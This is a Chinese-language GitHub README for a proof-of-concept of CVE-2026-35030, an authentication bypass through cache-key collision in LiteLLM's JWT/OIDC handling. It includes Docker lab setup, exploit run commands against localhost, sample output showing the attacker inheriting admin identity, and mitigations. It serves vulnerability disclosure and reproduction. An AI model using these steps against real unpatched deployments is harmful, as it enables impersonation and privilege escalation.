learner202649/CVE-2026-35030-PoC

GitHub: learner202649/CVE-2026-35030-PoC

这是一个用于复现LiteLLM中CVE-2026-35030认证绕过漏洞的概念验证代码。

Stars: 0 | Forks: 0

# CVE-2026-35030 — 通过 OIDC 用户信息缓存键碰撞绕过 LiteLLM 认证 | 字段 | 值 | |-------|-------| | **CVE** | **CVE-2026-35030** | | **CVSS v4.0** | **9.4 (严重)** — `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N` | | **CVSS v3.1** | **9.1 (严重)** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | | **CWE** | CWE-287 (不当认证) / CWE-222 (凭证保护不足) | | **受影响** | LiteLLM **< 1.83.0** (当 `enable_jwt_auth: true` 时) | | **修复版本** | **v1.83.0+** (缓存键已更改为 `sha256(token)`) | | **发布日期** | 2026-04-06 | | **发现者** | Veria Labs | | **相关链接** | [GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6) • [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-35030) • [GitLab 安全公告](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/) | ## 描述 LiteLLM 是一个用于调用 LLM API 的 AI 网关/代理服务器。当启用 **JWT 认证** (`enable_jwt_auth: true`) 时,LiteLLM 会针对 OIDC 提供程序验证令牌并缓存 userinfo 响应。 **漏洞原理:** 缓存键仅使用 JWT 的**前 20 个字符**: ``` # 漏洞代码 (pre-1.83.0) cache_key = token[:20] # Only first 20 characters! ``` 一个 JWT 由三个以点号分隔的 base64url 编码段组成: ```
.. ``` **头部**(例如 `{"alg":"RS256","typ":"JWT"}`)对于使用相同签名算法的所有令牌,其编码是相同的。这意味着两个不同的 JWT——颁发给完全不同的用户——将拥有**相同的前 20 个字符**。 ### 攻击流程 ``` 1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20] ↑ 2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘ → token[:20] is IDENTICAL → cache HIT → inherits admin identity ``` ### 影响 - **认证绕过**:攻击者可继承任何已缓存用户的身份 - **权限提升**:如果管理员的 userinfo 已被缓存,攻击者将获得管理员权限 - **机密性 + 完整性破坏**:攻击者可以以受害者身份访问/修改资源 - 无需认证(攻击者可以是未认证的) ## 概念验证 ### 快速启动(Docker) ``` # 1. 构建并启动漏洞 LiteLLM + 模拟 OIDC 提供程序 docker compose up -d --build # 2. 安装 Python 依赖 pip install -r requirements.txt # 3. 创建测试用户(JWT 认证所需 — 需要主密钥) curl -s -X POST http://localhost:4000/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"user_id": "admin", "role": "proxy_admin"}' curl -s -X POST http://localhost:4000/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"user_id": "attacker", "role": "proxy_admin"}' # 4. 演示缓存键冲突 python3 exploit/exploit.py --mode demo # 5. 运行完整漏洞利用(通过缓存碰撞绕过认证) python3 exploit/exploit.py --mode exploit --target http://localhost:4000 # 6. (可选)验证该问题已在 v1.83.0+ 版本中修复 docker compose --profile fixed up -d --build litellm-fixed python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed ``` ### 预期输出 **演示模式** — 展示缓存键碰撞: ``` [+] Admin JWT (subject=admin): Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw... Prefix: 'eyJhbGciOiJSUzI1NiIs' [+] Attacker JWT (subject=attacker): Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw... Prefix: 'eyJhbGciOiJSUzI1NiIs' [🔥] COLLISION: Both tokens share the same first 20 characters! Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs' ``` **利用模式** — 演示实际的认证绕过: ``` [VULNERABLE] Exploit Attempt — target: http://localhost:4000 [*] Step 1: Obtaining JWTs from OIDC provider... Prefix collision: True [*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)... HTTP 200 Response: {"user_id": "admin", ...} [*] Step 3: Sending attacker JWT (cache collision attempt)... HTTP 200 Response: {"user_id": "admin", ...} ← INHERITED ADMIN! [🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity! Attacker's token[:20] matched admin's cache key. Response user_id='admin' (expected 'admin' for escalation) ``` **修复版本** — sha256 缓存键防止了碰撞: ``` [FIXED] Exploit Attempt — target: http://localhost:4001 [*] Step 1: Obtaining JWTs from OIDC provider... Prefix collision: True [*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)... HTTP 200 Response: {"user_id": "admin", ...} [*] Step 3: Sending attacker JWT (cache collision attempt)... HTTP 200 Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved [+] Attacker identified as user_id='attacker'. Fixed version: cache collision prevented. ``` ## 技术细节 ### 根本原因 在 `litellm/proxy/auth/handle_jwt.py` 中,OIDC userinfo 缓存以 `token[:20]` 作为键: ``` # 漏洞 (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars! cached_userinfo = await user_api_key_cache.async_get_cache(cache_key) if cached_userinfo is not None: return cached_userinfo # Cache hit → skip userinfo fetch! # 已修复 (v1.83.0+) — 同一文件,第 625 行 import hashlib cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}" ``` ### 为什么 `token[:20]` 是不够的 | 令牌组件 | 是否包含用户特定数据? | 对相同算法是否固定? | |-----------------|------------------------------|---------------------------| | 头部(前 ~30 个字符) | ❌ 否 | ✅ 是 — 相同的 base64 编码 | | 负载(用户特定) | ✅ 是 | ❌ 否 — 每个用户唯一 | | 签名 | ✅ 是 | ❌ 否 — 每个密钥唯一 | 由于**头部是前 20 个字符内唯一的内容**,并且对于使用相同签名算法的所有令牌,头部是相同的,因此来自同一颁发者的所有 RS256 JWT 都拥有**完全相同的前 20 个字符**。 ### 攻击场景 | 场景 | 描述 | |----------|-------------| | **权限提升** | 低权限用户通过缓存碰撞成为管理员 | | **横向仿冒** | 仿冒任何 userinfo 已被缓存的用户 | | **认证绕过链** | 结合 CVE-2026-35029 实现远程代码执行 | ## 环境 ``` CVE-2026-35030/ ├── README.md # This file ├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC ├── litellm_config.yaml # LiteLLM config with JWT auth enabled ├── requirements.txt # Python dependencies (PoC) ├── litellm-vuln/ │ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch ├── litellm-fixed/ │ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key ├── oidc-provider/ │ ├── Dockerfile # Mock OIDC provider image │ ├── requirements.txt │ └── server.py # OIDC mock (FastAPI) ├── exploit/ │ ├── exploit.py # Main PoC exploit script │ └── token_forge.py # JWT collision utilities ├── docs/ │ └── advisory.md # Advisory reference └── screenshots/ └── README.md # Proof screenshots placeholder ``` ## 缓解措施 1. **升级**到 LiteLLM **v1.83.0+**(缓存键使用 `sha256(token)`) 2. 如果不需要,**禁用 JWT/OIDC 认证**:`enable_jwt_auth: false` 3. **限制 LiteLLM 端点的网络暴露** 4. **设置较短的 OIDC 缓存 TTL** 以缩小攻击窗口 ## 参考资料 - [GitHub 安全公告 GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6) - [GitLab 安全公告](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/) - [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-35030) - [LiteLLM 安全加固指南(2026年4月)](https://docs.litellm.ai/blog/security-hardening-april-2026) - [v1.83.0-stable 版本发布](https://github.com/BerriAI/litellm/releases/tag/v1.83.0-stable)
标签:AI安全, Chat Copilot, CVE-2026-35030, JWT, LiteLLM, OIDC, 代理服务器安全, 凭证保护不足, 安全漏洞, 情报收集, 漏洞复现, 漏洞研究, 缓存漏洞, 缓存键碰撞, 网络安全, 认证安全, 认证绕过, 请求拦截, 逆向工具, 隐私保护